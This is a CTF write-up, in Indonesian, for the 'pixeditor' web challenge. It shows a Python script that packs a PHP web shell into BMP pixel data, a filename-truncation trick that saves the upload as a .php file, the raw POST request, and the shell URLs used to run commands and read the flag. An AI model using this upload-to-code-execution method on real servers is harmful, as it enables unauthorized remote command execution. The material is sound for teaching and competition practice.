Problem


Create your own pixel art with this powerful tool.

Url : http://pixeditor.challs.malice.fr/

Writeup


Kita diberikan website yang fungsinya bisa untuk nge-warnain per-pixel dan dikirim ke php dalam bentuk array RGB 32*32 (4096), ketika kita coba untuk mengurangi/menambahkan pixel maka akan muncul error Error : </b>bad pixel art size (must be 32*32*(RGBA), got : 4097)

Error

ada 3 parameter yang dikirim ke /save.php yaitu data=[RGB]&name=[file.ext]&format=[JPG|GIF|BMP|PNG] pada parameter data kita bisa mengatur data yang akan menjadi konten dari file, nah bagaimana caranya agar kita bisa mengirimkan script php dalam bentuk array rgb. dan dari keempat format tersebut kita bisa menggunakan format bmp karena tidak ada compression atau informasi yang di kurangkan CMIIW.


payloadd = []

w = "p?<" # php
w += "X p"
w += "hys" 
w += "yss" 
w += "met"
w += "d_$"
w += "(hT"
w += "EGl"
w += "c'["
w += "')]"
w += "'b>"
w += "?;F"
w += "GHI"
w += "JKL"
w += "MNO"

for x in w:
	payloadd.append(ord(x))

payloadd += [0]*(4096-len(payloadd))
print payloadd

kemudian saya membuat script python untuk membuat payload dalam bentuk rgb 32*32, menggunakan payload di atas kita bisa mendapatkan file .bmp dengan backdoor php didalamnya <?php system($_GET['c']); ?>.

Sun 18:51:00 with root in CTF-i/nuitduhack/pixeditor via 🐘 v7.1.14 
•% ➜ xxd img.bmp
00000000: 424d 360c 0000 0000 0000 3600 0000 2800  BM6.......6...(.
00000010: 0000 2000 0000 2000 0000 0100 1800 0000  .. ... .........
00000020: 0000 000c 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
--SNIP--
00000bc0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000bd0: 0000 0000 0000 3c3f 7068 7020 7379 7374  ......<?php syst
00000be0: 656d 2824 5f47 4554 5b27 6327 5d29 3b3f  em($_GET['c']);?
00000bf0: 3e49 4847 4d4c 4b58 5a4f 0000 0000 0000  >IHGMLKXZO......
00000c00: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000c10: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000c20: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000c30: 0000 0000 0000                           ......

tapi kita tidak bisa mengeksekusi php pada format file .bmp ataupun format gambar lainnya saya mencoba menggunakan nullbyte(%00) namun tidak berhasil karena php yang digunakan adalah versi 7, berarti kita harus mencoba cari cara lain untuk membuat nama filenya menjadi extensi php yang akan membuat script php kita tereksekusi, setelah mencari cara2 lain ternyata ada komentar yang menarik pada file javascript http://pixeditor.challs.malice.fr/js/pixeditor.js

inputName.maxLength = 45; // 50 - Len(Extension) - Filename will be truncated if len > 50

jika input kita lebih dari 50 maka akan di truncate, maka kita menggunakan 46 karakter untuk namafilenya dan 4 karakter untuk extensi .php dan ditambah .bmp yang nantinya akan di truncate


python -c 'print "a"*46+".php.bmp"'
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.bmp
# 1                                           46  50 [Truncated]
# Result : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php 

Kemudian kirimkan semua payload dan menggunakan filename yang 54 karakter kita buat di atas, raw request lengkapnya seperti di bawah ini.

POST /save.php HTTP/1.1
Host: pixeditor.challs.malice.fr
Content-Length: 8333
Accept: */*
Origin: http://pixeditor.challs.malice.fr
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://pixeditor.challs.malice.fr/
Accept-Language: en-US,en;q=0.9,de;q=0.8,es;q=0.7,id;q=0.6,ms;q=0.5
Cookie: _ga=GA1.2.818234071.1522464534
Connection: close

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&name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.bmp&format=BMP

dan kita dapat megeksekusi command pada server soal, selanjutnya seperti biasa kita harus menemukan lokasi flag dan ambil isi flag nya.

view-source:http://pixeditor.challs.malice.fr/images/863fe26761ce67aa88fda11a326f5a5a1c1e5b73f6bf9ef4a773ad010d308e93/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php?c=find%20/%20-type%20f%20-name%20flag
> /flag
view-source:http://pixeditor.challs.malice.fr/images/863fe26761ce67aa88fda11a326f5a5a1c1e5b73f6bf9ef4a773ad010d308e93/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php?c=cat%20/flag
> Congratz. The flag is : NDH{Msp4int.3x3>all>th3g1mp}

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